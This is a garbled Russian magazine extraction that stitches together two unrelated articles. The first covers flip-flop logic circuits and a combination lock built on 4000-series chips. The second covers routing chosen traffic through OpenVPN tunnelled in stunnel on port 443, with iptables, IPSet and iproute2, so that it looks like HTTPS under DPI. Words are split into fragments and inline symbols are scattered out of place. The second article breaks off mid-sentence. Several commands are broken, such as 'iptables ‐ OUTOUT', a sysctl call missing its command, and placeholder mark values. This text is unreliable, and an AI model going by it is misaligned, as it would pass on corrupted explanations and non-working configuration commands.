кон цами про водов (от зем ли или питания) к соот ветс тву ющим выводам мик‐ 
росхе мы.  Воз можно,  само  по  себе  это  зву чит  и  не  очень  увле катель но,
но раз мышле ние в про цес се дол жно навес ти на инте рес ные идеи.

Некото рая неоп ределен ность
В  какой‐то  момент  твой  пыт ливый  хакер ский  ум  навер няка  задал ся  воп‐ 
росом — а что, если подать одно и то же нап ряжение на обе половин ки 

? И в каком сос тоянии ока жет ся наша схе ма пос ле? В сущ ности,
это срод ни делению на ноль в матема тике  (или прог рамми рова нии) — зап‐ 
рещен ная  опе рация,  резуль тат  на  выходе  которой  не  опре делен.  Парадок‐ 
саль но,  но  даже  такое  свой ство  может  иметь  прак тичес кое  при мене ние!
Инже неры в  Intel  хорошо зна ют  схе мотех нику  (кто бы сом невал ся),  и  встро‐ 
енный в их про цес соры    работа ет  имен но по 

.

од‐ 
новре мен но

ге нера тор слу чай ных чисел та‐ 
кому прин ципу

Сей час работа нашей схе мы напоми нает 
середи ны  сороко вых  годов  XX  века,  ког да  ком мутация  сиг налов  внут ри
устрой ства  выпол нялась  с  помощью  реле  и  перек лючате лей.  Самое  вре мя
добавить  новые  воз можнос ти  и  перей ти  от  инверто ров  к  эле мен там  с  нес‐ 
коль кими вхо дами.

элек тро меха ничес кие  компь юте ры

ПРОСТОЙ RS-ТРИГГЕР
Вне сем  минималь ные  изме нения  в  нашу  схе му  и  вос поль зуем ся  допол‐ 
нитель ными вхо дами  . Назовем их   и   (   и    соот‐ 
ветс твен но, их наз начение про яснится в даль нейшем).

NAND nR nS not RESET not SET

Оба  вхо да  могут  при нимать  по  два  зна чения,  ито го  пред сто ит  разоб рать
четыре  вари анта.  Нач нем  с  базово го  слу чая    и  .  При  этом
на выходах   и   уже есть какие‐то зна чения. Обра ти вни мание, что если 
, то при   резуль татом опе рации   будет низ кий уро вень, то есть 
. И наобо рот, если  , то   и оба выхода в нашей схе ме дей стви‐ 

тель но при нима ют про тиво полож ные зна чения. Дру гими сло вами, если один
из вхо дов вен тиля   ока зыва ется в сос тоянии логичес кой еди ницы, то сиг‐ 
нал на выходе опре деля ется как инверсия вто рого вхо да — в точ ности как с
инверто рами  чуть  ранее!  Таким обра зом,  при   и    схе ма  сох‐ 
раня ет свое ста рое сос тояние и выходы не обновля ются.

nR  =  1 nS  =  1
Q nQ Q =

1 nS = 1 NAND nQ
= 0 Q = 0 nQ = 1

NAND

nR = 1 nS = 1

Те перь рас смот рим вари ант с   и  . Так как на вхо де вер хне го
эле мен та    точ но  есть  хотя  бы  один  ноль,  то  его  выход  в  любом  слу чае
будет равен логичес кой еди нице. Зна чит,  , и, сле дова тель но,  .
Ана логич но, при   и   мы можем схо жим обра зом вывес ти,  что
сос тояние схе мы будет пол ностью про тиво полож ным (  и  ).

nR = 1 nS = 0
NAND

Q = 1 nQ = 0
nR = 0 nS = 1

Q = 0 nQ = 1
Ос тает ся  разоб рать  зак лючитель ный  вари ант,  где оба  вхо да рав ны  нулю

одновре мен но.  На  инту итив ном  уров не  мож но  уже  пред полагать,  что  тут
что‐то  не  так.  Дей стви тель но,  при    резуль тат  эле мен та 
не  может  быть  положи тель ным  ни  при  каких  воз можных  зна чени ях  допол‐ 
нитель ного вхо да (рекомен дую про верить по таб лице истиннос ти). Сле дова‐ 
тель но,  , и это единс твен ный слу чай, ког да наша схе ма «сбо ит».
В даль нейшим мы ее улуч шим и обя затель но изба вим ся от это го недос татка.

nR  =  nS  =  0 NAND

Q = nQ = 0

Но  сей час  самое  вре мя  оста новить ся  и  перевес ти  дух.  Выше  были
не  самые  три виаль ные  рас сужде ния,  и  если  ты  чего‐то  не  понял,  то
это совер шенно нор маль но. Пос ледова тель нос тные схе мы слож нее для вос‐ 
при ятия,  и  имен но  поэто му  в  пре дыду щей  статье  мы  начали  зна комс тво
с ком бинаци онной логики.

Так что советую перечи тать нес коль ко абза цев выше еще раз. Тем более
что  это  клю чевая  схе ма  и  далее  в  статье  мно гие  эле мен ты  будут  осно ваны
имен но  на  ней.  А  вооб ще,  самый пра виль ный  спо соб разоб рать ся  в  любой
схе ме раз и нав сегда — это взять руч ку и лис точек бумаги (или сти лус и план‐ 
шет)  и  пос ледова тель но  рас смот реть  каж дый  из  воз можных  вари антов.  Я
сужу по лич ному опы ту — в тво ем слу чае может сра ботать что‐то еще.

Прак тичес кое при мене ние
На деюсь,  теперь  прин цип  работы  RS‐триг гера  для  тебя  боль ше  не  сек рет
и тебе уже не тер пится при менить получен ные зна ния на прак тике. Для это го
понадо бит ся  мик росхе ма  ,  которая  содер жит  четыре  вен тиля 
(подой дет и любой зарубеж ный ана лог).

IW4011 NAND

INFO

  —  это  еще  один  прек‐ 
расный  набор  «стро итель ных  кир пичиков»,
которые рань ше широко исполь зовались при раз‐ 
работ ке  устрой ств.  В  отли чие  от  уже  упо минав‐ 
шегося семей ства 7400, эти ком понен ты работа‐ 
ют  с  рас ширен ным  диапа зоном  вход ных  нап‐ 
ряжений  (до  15  В).  Сле дует  пом нить,  что,  хотя
обе  серии  реали зуют  более‐менее  оди нако вый
набор  логичес ких  схем,  сов мести мость
по выводам не гаран тиру ется.

Се рия  мик росхем  4000

На вер няка  ты  уже  зна ком  с  таким  неп рият ным  явле нием  в  элек тро нике,
как  .  Он  воз ника ет  вся кий  раз,  ког да  учас тки  цепи  ком‐ 
мутиру ются  механи чес ки:  при  нажатии  так товой  кноп ки,  перек лючении  тум‐ 
бле ра,  реле  и  во  мно гих  дру гих  слу чаях.  Как  пра вило,  с  дре без гом  пред‐ 
почита ют  бороть ся  прог рам мно:  крат ковре мен ные  изме нения  в  сиг нале
(момент соп рикос новения кон тактов) прос то игно риру ются устрой ством.

дре безг  кон тактов

Это  рас простра нен ный  и  дос таточ но  эффектив ный  спо соб:  реали зацию
подоб ной  фун кции  мож но  най ти  и  в  Arduino  (биб лиоте ка  ).  Одна ко
у  такого метода  есть  и  свои минусы:  обра бот ку  сиг нала  при ходит ся  задер‐ 
живать  на  какое‐то  вре мя  (поряд ка  нес коль ких  десят ков  мил лисекунд).
Во мно гих слу чаях это не ста новит ся боль шой проб лемой.

Bounce2

Но  что,  если  нажатие  на  кноп ку  обра баты вает ся  в  пре рыва нии?  Или  мы
про екти руем кла виату ру для гей меров и хотим получить минималь ное вре мя
откли ка?  Да,  «лиш ние»  мил лисекун ды,  конеч но,  не  выведут  тебя  на  пер вые
строч ки в лад дерах популяр ных игр, но некото рое пре иму щес тво точ но обес‐ 
печат. Поп робу ем при менить здесь RS‐триг гер и нарису ем такую схе му.

Мы  исполь зуем  два  вен тиля  ,  то  есть  толь ко  «полови ну»  мик росхе мы
CD4011 (К561ЛА7). Обра ти вни мание, это не стан дар тная так товая кноп ка: тут
работа ет  перекид ной  кон такт  без  фик сации,  так  что  в  каж дый  момент  вре‐ 
мени ком мутиру ются ров но два вывода. При ятная осо бен ность таких кно пок
в  том,  что  при  нажатии они  изда ют  сла бый щел чок,  похожий  на  звук  перек‐ 
лючате лей в механи чес кой кла виату ре.

NAND

Ап парат ные решения хороши сво ей прос тотой и безот казностью — прог‐ 
рамма  может  завис нуть  или  исчерпать  дос тупную  память,  тог да  как  с  триг‐ 
герами таких проб лем нет.

ПРОДВИНУТЫЙ D-ТРИГГЕР
Ос воив шись с уста нов кой и сбро сом внут ренне го сос тояния в прос той схе‐ 
ме, перей дем к более инте рес ным вещам. Как и в прог рамми рова нии, теперь
мы  можем  пов торно  исполь зовать  готовые  логичес кие  бло ки,  что бы
эффектив но  абс тра гиро вать ся  от  воз раста ющей  слож ности  устрой ств.
Это  при мер но  как  с  кодом  —  еди нож ды  реали зовав  нуж ную  фун кцию
или  алго ритм,  ты  можешь  добав лять  их  в  необ ходимые  мес та,  не  заботясь
о сте ке вызовов и кон крет ных адре сах в памяти.

Как  ты  пом нишь,  клю чевое  неудобс тво  в  RS‐триг гере  вызыва ло  то,  что
при    мы  получа ли  оди нако вое  сос тояние  на  пря мом  ( )  и,
казалось  бы,  инвер сном  ( )  выходе.  Поп робу ем  изба вить ся  от  этой  проб‐ 
лемы.  Для  это го  будем  явно  бло киро вать  один  из  сиг налов,  если  дру гой
в этот момент акти вен.

nR  =  nS  =  0 Q
nQ

Те перь  сос тояние  вхо да  дан ных  ( )  через  пару  вен тилей    пода ется
на  оба  вхо да  RS‐триг гера,  а  сиг нал  раз решения  ( )  кон тро лиру ет  момент
вре мени, ког да сос тояние пра вой полови ны схе мы может менять ся.

D NAND
E

D‐защел ка — это поч ти как D‐мейл, толь ко защел ка

Мож но пой ти еще даль ше и объ еди нить две защел ки в один триг гер, который
будет сра баты вать толь ко по перед нему фрон ту  так тового сиг нала  (переход
с  низ кого  уров ня  на  высокий).  Это  наибо лее  уни вер саль ная  схе ма,  так
как поз воля ет мгно вен но зафик сировать сос тояние всех сиг налов на вход ных
лини ях, а уже потом прис тупить к фор мирова нию резуль тата с помощью ком‐ 
бинаци онной логики.

Прак тичес кое при мене ние
В  4000‐й  серии  пару  D‐триг геров  реали зует  мик росхе ма  CD4013  (оте чес‐ 
твен ный  ана лог  —  ).  Наз начение  ее  выводов  ты  можешь  уви деть
на  схе ме  ниже.  Обра ти  вни мание,  что,  помимо  вхо дов  дан ных  и  так тового
сиг нала,  тут  выведе ны  кон такты для  асин хрон ного  сбро са  и  уста нов ки  внут‐ 
ренне го сос тояния триг гера.

К561ТМ2

Асин хрон ность озна чает,  что событие про исхо дит мгно вен но,  не дожида ясь
сле дующе го так тового сиг нала. И наобо рот, обновле ния с линии дан ных идут
син хрон но с изме нени ями на линии  .CLK

Та ким  обра зом,  ком бинируя  мик росхе мы  CD4011  (561ЛА7)  и  CD4013
(561ТМ2), мож но соб рать схе му с так товой кноп кой и све тоди одом, которая
будет пом нить свое сос тояние. Пер вое нажатие зас тавит све тоди од  гореть,
вто рое  нажатие его  погасит. При  этом нам даже  не  пот ребу ется мик рокон‐ 
трол лер и мы не напишем ни строч ки кода!

КОДОВЫЙ ЗАМОК НА РЕГИСТРАХ
Те перь  приш ло  вре мя  для  более  серь езных  вещей.  Я  соб рал  на  макет ной
пла те кодовый замок на мик росхе мах 561‐й серии. Часть из них ты уже зна‐ 
ешь, дру гую часть мы раз берем в про цес се.

В  пер вую  оче редь  сле дует  опре делить ся  с  вво дом.  Здесь  шесть  кно пок
для пер вых шес ти цифр 1–6 (боль ше не помес тилось) и кноп ка сбро са. Сиг‐ 
нал  с  них  пода ется  на  RS‐триг геры,  что  помога ет  спра вить ся  с  дре без гом
кон тактов.  Далее  у  нас  есть  четыре  мик росхе мы  К561ТМ2,  это  дает  нам
восемь бит информа ции о сос тоянии устрой ства.

Для удобс тва я сра зу при веду прин ципи аль ную схе му. Впро чем, ее всег ‐
да мож но вос ста новить самос тоятель но

Об рати вни мание, что пер вая груп па D‐триг геров свя зана пос ледова тель но:
инвер сный выход через вен тиль   бло киру ет так товый сиг нал сле дующе‐ 
го.  Таким  обра зом,  пока  не  будет  вер но  подоб рана  пер вая  циф ра  клю ча,
осталь ная  схе ма не  ста нет реаги ровать  на  нажатия.  Кро ме  того,  на  этот же
вен тиль пода ется инвер сный выход самого триг гера, так что, как толь ко нуж‐ 
ная кноп ка нажата в пер вый раз, блок отклю чает ся и далее внут реннее сос‐ 
тояние D‐триг гера уже не меня ется.

NAND

От дель ного рас смот рения зас лужива ет пара D‐триг геров   и  . У них
общий  так товый  сиг нал,  а  вход  дан ных  вто рого  зависит  от  выхода  пер вого.
Так как изна чаль но все триг геры сбро шены в ноль, то даже пос ле однократ‐ 
ного  нажатия  нуж ной  кноп ки  выход  вто рого  не  изме нит ся  и  пос ледний
из  триг геров  будет  все  так  же  заб локиро ван  (ины ми  сло вами,  ноль  из 
переко чует в  , но гло баль но это ничего не меня ет).

U3A U6A

U3A
U6A

Од нако  пер вый  регистр  из  пары  все‐таки  поменя ет  свое  сос тояние,  так
как по при ходу так тового сиг нала на его вхо де дан ных содер жится логичес кая
еди ница  от  инвер сно го  выхода  вто рого.  Зна чит,  на  его  выходе  уже  будет
высокий  уро вень  и  нам  пот ребу ется  еще  один  так товый  сиг нал  (нажатие
на кноп ку), что бы про тол кнуть «еди нич ку» во вто рой регистр. Таким обра зом,
мож но сде лать вывод, что одну из кно пок тре бует ся нажать два раза под ряд,
пос ле чего раз бло киру ется пос ледний D‐триг гер.

Кста ти, трех вхо довые вен тили   для раз решения подачи так тового сиг‐ 
нала на D‐триг гер содер жатся в мик росхе мах   (по три штуч ки на кор‐ 
пус).

NAND
К561ЛА9

Ра зуме ется, если взять такую схе му отдель но, в ней будет сущес твен ный
изъ ян: мож но подоб рать ключ, прос то переби рая все кноп ки одна за дру гой.
В какой‐то момент мы уга даем пер вую вер ную циф ру, пос ле чего перей дем
ко вто рой, треть ей и так далее.

По это му  нам  нуж на  воз можность  сбро са  сос тояния  всех  D‐триг геров,
как толь ко пре выше но раз решен ное количес тво попыток. Для это го тре бует‐ 
ся в пер вую оче редь орга низо вать под счет, регис три руя нажатие любой циф‐ 
ры. Поэто му я взял пароч ку четырех вхо довых вен тилей   ( ).NOR К561ЛЕ6

Ло гичес кий  ноль  на  их  выходе  обра зует ся  вся кий  раз,  ког да  нажата
какая‐либо  из  под клю чен ных  кно пок.  Объ еди ним  выходы  вен тилей
с помощью опе рации И — НЕ. При этом сра бота ет такое пра вило: инвертор
на выходе логичес кого эле мен та мож но перемес тить на все его вхо ды, но при
этом  поменя ется  и  сам  тип  эле мен та  (   перехо дит  в  ,  и  наобо рот).
Таким обра зом,   на выходе мож но рас смат ривать как  , а инверто ры
на  его  вхо дах  ока зыва ются  рядом  с  инверто рами  на  выходах  бло ков 
и вза имно анни гили руют. В резуль тате мы получа ем один боль шой эле мент
, что и тре бова лось для нашего счет чика.

NOR NAND
NAND NOR

NOR

OR
Кста ти, схе ма самого счет чика выг лядит так.

Он пос тро ен на базе трех D‐триг геров, так что у нас три бита и восемь воз‐ 
можных сос тояний. Инвер сный выход пер вого бло ка пода ется на вход, так что
по  вос ходяще му  фрон ту  так тового  сиг нала    внут ренне го  сос тояния
перехо дит из ноля в еди нич ку (и наобо рот). При этом выход соеди нен с 
сле дующе го  и  каж дое  вто рое  перек лючение  при водит  к  изме нени ям
для  .

BIT0
CLK

BIT1
Да лее  нам  оста ется  толь ко  отсле живать  ком бинацию    для  пяти  раз‐ 

решен ных попыток и подать сиг нал сбро са, если пос ледний из D‐триг геров,
хра нящих наш сек ретный  код,  все еще не ока зал ся  в  сос тоянии логичес кой
еди ницы (слу чай пра виль ной ком бинации).

101

Ра боту  всей  схе мы  мож но  пос мотреть  на  видео.  Успешный  код  акти виру ет
тай мер  на  мик росхе ме  ,  которая  демонс три рует  ани мацию
на све тоди одной шка ле.
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ТРЮКИ

Есть мно го спо собов обой ти реги ональ ные
бло киров ки  и  обес печить  ано ним ность.
Такие  тер мины,  как  TOR,  VPN,  прок си,
у всех на слу ху. Что бы под клю чить и нас тро‐ 
ить  их,  не  тре бует ся  спе циаль ных  зна ний,
но  сущес тву ют  и  более  изящ ные решения.
Сегод ня  я  рас ска жу  о  методи ке  обхо да
бло киро вок в Linux с мас киров кой тра фика
и покажу нес коль ко скрип тов для авто мати‐ 
зации это го. Их мож но без тру да перенес ти
на Raspberry Pi,  что бы сде лать умный мар‐ 
шру тиза тор.

WARNING

Эта  статья  не  явля ется  руководс твом.  Она
написа на  исклю читель но  с  целью  озна комить
тебя с некото рыми фун кци ональ ными воз можнос‐ 
тями  мар шру тиза ции  в  сис темах  Linux.  Автор
и  редак ция  не  несут  никакой  ответс твен ности
за  резуль тат  исполь зования  опи сан ных  здесь
методов и при емов.

Linux пре дос тавля ет огромный набор фун кций для мар шру тиза ции и инс тру‐ 
мен тов ее кон фигури рова ния. Опыт ные сисад мины зна ют об этом и исполь‐ 
зуют арсе нал Linux на пол ную катуш ку. Но и мно гие даже прод винутые поль‐ 
зовате ли не догады вают ся, сколь ко удобс тва могут при нес ти все эти замеча‐ 
тель ные воз можнос ти. Сегод ня мы соз дадим таб лицы мар шру тиза ции и опи‐ 
шем пра вила  про хода  по  ним,  а  так же  авто мати зиру ем адми нис три рова ние
этих таб лиц. Итак, наши твор ческие пла ны:

оп ределим ся  с  тем,  что  нам  тре бует ся:  уста новим  необ ходимые  пакеты
и раз берем ся, зачем они нуж ны;

•

изу чим общий прин цип работы связ ки;•
нас тро им защищен ный канал VPN с исполь зовани ем OpenVPN + stunnel;•
сос тавим спис ки адре сов и опи шем области их при мене ния;•
соз дадим скрипт для быс тро го добав ления домена или IP‐адре са в спис ки
IPSet  с  добав лени ем  в  таб лицу  мар шру тиза ции  и  вклю чени ем  в  пра вила
перенап равле ния;

•

ис поль зуем  SSH  для  пре дос тавле ния  безопас ного  канала  свя зи  в  эти
ваши интерне ты.

•

НЕМНОГО ТЕОРИИ
Что  нам  понадо бит ся,  что бы  все  работа ло,  и  желатель но  —  ком фор тно?
Само  собой,  iptables,  куда  же  без  него.  Еще  iproute2,  он  и  поз волит  нам
насоз давать кучу таб лиц. IPSet пот ребу ется для того, что бы не городить ого‐ 
род из мно жес тва пра вил iptables.

Что есть что
  —  ути лита  коман дной  стро ки.  Базовое  средс тво  управле ния

работой фай рво ла для ядер Linux.
• iptables

 — набор ути лит для управле ния парамет рами сетевых устрой ств
в ядре Linux.

• iproute2

 — инс тру мент для работы со спис ками IP‐адре сов и сетевых пор тов
в  сетевом  филь тре.  Фор миру ет  спи сок  в  спе циаль ном  фор мате
для переда чи фай рво лу.

• IPSet

  —  инс тру мент  орга низа ции  шиф рован ных  соеди нений  для  кли‐ 
ентов  или  сер веров,  которые  не  под держи вают  TLS  или  SSL.  Stunnel
перех ватыва ет  незашиф рован ные  дан ные,  которые  дол жны  были  отпра‐ 
вить ся в сеть, и шиф рует их. Прог рамма работа ет как в Unix‐сис темах, так
и в Windows. В качес тве шиф рования исполь зует OpenSSL для реали зации
базово го про токо ла TLS и SSL.

• stunnel

  —  VPN‐сер вер  с  под дер жкой  шиф рования  биб лиоте кой
OpenSSL.  Кли ент ские  час ти  дос тупны  прак тичес ки  на  всех  плат формах.
Уме ет работать через прок си типа Socks, HTTP, через NAT и сетевые филь‐ 
тры.

• OpenVPN

Про все эти ути литы мож но отыс кать мно го информа ции в интерне те, при чем
с при мера ми нас тро ек  в  самых раз ных  вари антах. Мы ста нем исполь зовать
iptables  для мар киров ки  пакетов.  У  нас  будут  два  вари анта  нас трой ки.  Пер‐ 
вый — ког да машина, на которой выпол няет ся обход, сама под клю чена к VPN.
Вто рой  вари ант  —  ког да  в  сети  находит ся  узел  (вир туал ка,  Raspberry  Pi
или  любой дру гой  хост  с  Linux),  игра ющий роль мар шру тиза тора. Далее мы
раз берем эти вари анты чуть под робнее.

КОРОТКО О ДВУХ ВАРИАНТАХ
Кли ент и сер вер будут уста нав ливать зашиф рован ный канал свя зи по 443‐му
пор ту  (stunnel)  и  переда вать  внут ри  OpenVPN  по  995‐му  пор ту.  Сна ружи
это дол жно выг лядеть как обыч ный HTTPS.

Ил люс тра ция работы stunnel + OpenVPN

И вот тут мож но реали зовать две схе мы под клю чения.
  На  кли ент ской  машине  iptables  будет  мар кировать  пакеты

неким фла гом, если адре са в пакетах и спис ках IPSet сов падут, и переда вать
их для мар шру тиза ции.

Ва риант  1.

Да лее  помечен ные  фла гом  пакеты  будут  отправ лены  по  заранее  соз‐ 
данной  таб лице мар шру тиза ции, осталь ные пой дут по мар шру ту,  задан ному
по  умол чанию.  С  помощью  кон соли  или  неболь шого  скрип та  мы  поп равим
этот  спи сок  адре сов.  В  зависи мос ти  от  ситу ации  спис ков  может  быть  нес‐ 
коль ко.

 В качес тве кли ента выс тупит хост в локаль ной сети (вир туал‐ 
ка,  Raspberry  Pi  или  какое‐нибудь  дру гое  устрой ство).  Он  будет  ука зан
в  качес тве  основно го  шлю за  на  компь юте рах,  с  которых  нужен  дос туп
к ресур сам через VPN. Получив зап рос для IP‐адре са из спис ка, шлюз вклю‐ 
чит NAT и отпра вит такой тра фик в VPN. Осталь ной тра фик будет мар шру тизи‐ 
ровать ся до шлю за по умол чанию без NAT.

Ва риант 2.

Для  Linux‐сис тем  мы  можем  оста вить  шлюз  по  умол чанию  и  уста новить
у  себя  IPSet  и  iproute2,  а  потом  нас тро ить  их  ана логич но  нас трой кам  «про‐ 
межу точ ного» хос та‐мар шру тиза тора. В этом слу чае на уров не кли ента будет
отби рать ся  тра фик  по  тому же  спис ку  IPSet.  То  есть  то,  что  в  спис ке,  будет
отправ лять ся на про межу точ ный хост‐мар шру тиза тор и далее в VPN. Осталь‐ 
ное будет мар шру тизи ровать ся по умол чанию.

РЕАЛИЗАЦИЯ
Пред положим, что где‐то далеко в обла ке у нас уже есть VPS‐сер вер с Ubuntu
или  Debian.  В  дру гих  дис три бути вах  отли чия  будут,  ско рее  все го,  толь ко
в  уста нов ке  необ ходимых  пакетов.  Этот  хост  в  нашей  кон фигура ции  будет
исполь зовать ся  в  качес тве  сер вера  VPN.  Рекомен даций,  какой  VPS  луч ше
исполь зовать,  в интерне тах пол ным‐пол но — на раз ный бюд жет,  с раз ными
кон фигура циями и усло виями.

Ус танав лива ем на сер вере OpenVPN, stunnel, git:

sudo apt install openvpn stunnel4 git

Да лее  вос поль зуем ся  готовым  скрип том  для  нас трой ки  сер вера  OpenVPN.
Мож но,  конеч но,  нас тро ить  все  вруч ную, и  я  советую пос тупить имен но  так.
Информа цию  о  том,  как  пра виль но  скон фигури ровать  OpenVPN,  нет рудно
отыс кать в Сети. Но если нуж но получить резуль тат очень быс тро и тебе лень
возить ся, то вот решение.

git clone https://github.com/Nyr/openvpn‐install.git
cd openvpn‐install
sudo ./openvpn‐install.sh

По луча ем скрипт уста нов ки и запус каем его. Он поможет нам соз дать поль‐ 
зователь ские клю чи и сер тифика ты, если нуж но — изме нить адре сацию сети.
Все  очень  дос тупно  и  понят но.  На  выходе  для  каж дого  поль зовате ля  мы
получим  один  файл,  внут ри  которо го  будет  кон фигура цион ный  ключ  и  сер‐ 
тифика ты (сер вера и поль зовате ля). Переда ем этот файл на кли ент.

От кры ваем  кон фигура цион ный  файл  сер вера  OpenVPN  и  пра вим  его.
Выбира ем нуж ный порт — тот, который на сер вере будет сво боден для под‐ 
клю чения.  Порт  луч ше  исполь зовать  более‐менее  неп римет ный  (я  выб‐ 
рал 995‐й, обыч но поч товые пор ты оставля ют откры тыми), что бы кли ент мог
гаран тирован но под клю чить ся к VPN‐сер веру.

Вот как будет выг лядеть наш кон фиг:

port 443
proto tcp
dev tun0
sndbuf 0
rcvbuf 0
ca ca.crt
cert server.crt
key server.key
dh dh.pem
auth SHA512
tls‐auth ta.key 0
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig‐pool‐persist ipp.txt
push "redirect‐gateway def1 bypass‐dhcp"
push "dhcp‐option DNS 208.67.222.222"
push "dhcp‐option DNS 208.67.220.220"
push "route 10.8.0.0 255.255.255.0"
route 192.168.31.0 255.255.255.0
keepalive 10 120
cipher AES‐256‐CBC
user nobody
group nogroup
persist‐key
persist‐tun
status openvpn‐status.log
verb 3
crl‐verify crl.pem

Сле дующим шагом нас тро им stunnel:

sudo nano /etc/stunnel/stunnel.conf

output = /var/log/stunnel.log
[openvpn]
client = no
accept = 443
connect = localhost:443
cert = /etc/stunnel/stunnelsrv.pems

Тут все прос то:
опи сыва ем, куда будут сох ранять ся логи;•
ука зыва ем наз вание сер виса в про изволь ной фор ме;•
вы бира ем,  в  каком  режиме  работа ет  устрой ство:  сер вера  или  кли ента.
В дан ном слу чае   ука зыва ет на режим сер вера;

•
client = no

accept  =  443  ука зыва ет  порт,  к  которо му  будем  под клю чать ся  сна ружи
(443‐й порт выб ран не прос то так — в 99% слу чаев он всег да открыт, про‐ 
ще при кинуть ся обыч ным HTTPS, и нас не заметят даже при  ).

•

DPI

Ге нери руем клю чи и сер тифика ты для stunnel:

sudo openssl req ‐nodes ‐new ‐days 365 ‐newkey rsa:1024 ‐x509 ‐keyout
stunnelsrv.pem ‐out stunnel.pem

На этом эта пе важ но пом нить, что у нас на сто роне сер вера работа ют Open‐
VPN на пор те 995, proto  tcp, dev  tun0 и stunnel на пор те 443. Все осталь ные
нас трой ки — стан дар тные.

Пе рехо дим к кли енту:

sudo apt install iproute2 ipset stunnel4 git openvpn

Все, что нуж но, пос тавили, теперь нас тра иваем stunnel на сто роне кли ента:

output = /var/log/stunnel.log

[openvpn]
client = yes
accept = 127.0.0.1:995
connect = IP:443

cert = /etc/stunnel/stunnel.pem

Здесь  мы  ука зыва ем,  куда  выводить  логи,  режим  кли ента  вклю чен.
С помощью дирек тивы   мы говорим, на какой адрес и порт переда вать
соеди нение  и  куда,  собс твен но,  под клю чать ся  кли енту  stunnel  (опция

). Ну и какой сер тификат исполь зовать.

accept

connect
Пе реда ем  файл  кли ента  OpenVPN  с  сер вера.  Про веря ем  нас трой ки:

исполь зует ся порт 995, proto tcp, dev tun0. Очень важ ный момент: нам нуж но
объ явить мар шрут до нашего VPS через шлюз по умол чанию. Ина че получит‐ 
ся,  что stunnel  уста новит соеди нение, потом под клю чит ся VPN и попыта ется
все перенап равить в тун нель, но stunnel уже не смо жет работать, так как хост
и порт будут недос тупны. Так же отклю чаем перенап равле ние все го тра фика
в VPN, про веря ем адрес под клю чения и порт. Адрес VPN‐сер вера в кон фиге
будет 127.0.0.1 — то есть  . Под разуме вает ся, что stunnel уже проб‐ 
росил нуж ный порт кли ента. Дол жно получить ся при мер но сле дующее:

localhost

client
dev tun
proto tcp
sndbuf 0
rcvbuf 0
remote 127.0.0.1 995
resolv‐retry infinite
nobind
persist‐key
persist‐tun
remote‐cert‐tls server
auth SHA512
cipher AES‐256‐CBC
setenv opt block‐outside‐dns
key‐direction 1
#redirect‐gateway def1
pull‐filter ignore redirect‐gateway
#добавляем в конфиг OpenVPN клиента белый IP‐адрес VPN‐сервера
route IP 255.255.255.255 net_gateway
#ip route add table obhod default dev tun0
verb 3

Итак,  на  сер вере  и  кли енте  уста нов лены  и  нас тро ены  OpenVPN  и  stunnel.
Безопас ное соеди нение уста нов лено. Даль ше будем рас смат ривать каж дый
вари ант по оче реди.

Ва риант 1: кли ент VPN на машине поль зовате ля
Пер вым  делом  соз дадим  спи сок  IP‐адре сов,  который  будем  исполь зовать
далее:

sudo ipset ‐N vpn iphash

До бавим в него один адрес для тес тов:

sudo ipset ‐A vpn 8.8.8.8

Те перь  нам  необ ходимо  мар кировать  пакеты  с  адре сами  наз начения,
которые сов пада ют со спис ком.

sudo iptables ‐ OUTOUT ‐t mangle ‐m set ‐‐match‐set vpn dst ‐j MARK 
‐‐set‐mark (1 или 0x1)

В резуль тате  наших  дей ствий  iptables  при  сов падении  в  адре се  наз начения
и  адре се  из  спис ка  IPSet  нач нет  мар кировать  такой  тра фик.  Даль ше  соз‐ 
дадим новую таб лицу мар шру тиза ции, для это го про пишем ее в фай ле 

 с оче ред ностью выше, чем  :
/etc/

iproute2/rt_tables default (253)

252     vpn

Те перь надо соз дать пра вило и мар шрут для мар кирован ных пакетов.

sudo ip rule add table vpn prio 1000 fwmark (1 или 0x1)
sudo ip route add table vpn dev tun0 default

Не забыва ем вклю чить   для обес печения асим метрич ной мар шру‐ 
тиза ции  и  раз реша ем  переб рос  пакетов  меж ду  интерфей сами,  на  слу чай
если  кому‐то  нуж но  будет  пре дос тавить  дос туп  к  зак рытым  ресур сам
в локаль ной сети.

rp_filter

sudo sysctl net.ipv4.tcp_fwmark_accept=1
sudo sysctl net.ipv4.conf.all.rp_filter=2
sudo net.ipv4.ip_forward=1

Те перь вклю чим NAT для тра фика, который нап равля ется в VPN.

sudo iptables ‐t nat ‐I POSTROUTING ‐o tun0 ‐j MASQUERADE

Ес ли нуж но пре дос тавить дос туп из локаль ной сети через свой VPN, пра вило
iptables нуж но нем ного под пра вить, а имен но перенес ти в дру гую цепоч ку.

sudo iptables ‐I PREROUTING ‐t mangle ‐m set ‐‐match‐set tovpn dst ‐j
MARK ‐‐set‐mark 0x1

В  ито ге  у  нас  получа ется,  что  все  адре са  из  спис ка  IPSet  VPN  идут  через
безопас ное  соеди нение,  осталь ные  нап равля ются  через  мар шрут  по  умол‐ 
чанию.

Ва риант 2: кли ент VPN на мар шру тиза торе
Те перь рас смот рим слу чай,  ког да VPN‐соеди нение  у нас выпол няет не  кли‐ 
ент ская машина, а некий узел в сети и все нас тро ено на нем ана логич но при‐ 
меру  выше.  Тог да  нам  нуж но  либо  ука зать  этот  узел  в  качес тве  шлю за
по  умол чанию,  либо  уста новить  на  кли ент ской  машине  IPSet  и 
и пра виль но ее нас тро ить.

iproute2

В этом слу чае сра бота ют локаль ные IPSet и   и нап равят на про‐ 
межу точ ный  сер вер‐мар шру тиза тор  пакет,  а  тот  све рит  адрес  наз начения
со сво им спис ком IPSet и, если обна ружит сов падение, отпра вит пакет в VPN,
если сов падения не най дет — переш лет на шлюз по умол чанию.

iproute2

Не удобс тво  такого  при ема  сос тоит  в  том,  что  нуж но  дваж ды  вно сить  IP‐
адре са  в  спис ки.  Сна чала  на  сер вере‐мар шру тиза торе,  а  вто рой  раз  —
в свой локаль ный спи сок IPSet. Зато это поз воля ет более гиб ко поль зовать ся
мар шру тиза цией.

Сто ит так же отме тить еще один вари ант, о котором не говори лось выше.
Мож но  уста новить  на  сер вер‐мар шру тиза тор  VPN‐кли ент  и  stunnel,  а  потом
убрать  из  кон фига  стро ку  .  Тог да
весь  получен ный  тра фик  будет  завер нут  в  VPN‐тун нель.  Оста нет ся  лишь
локаль но вес ти IPSet для нап равле ния нуж ного тра фика через раз ные шлю зы.

pull‐filter  ignore  redirect‐gateway

IPSET
Спис ки IPSet очень удоб но исполь зовать, если нуж но быс тро раз решить либо
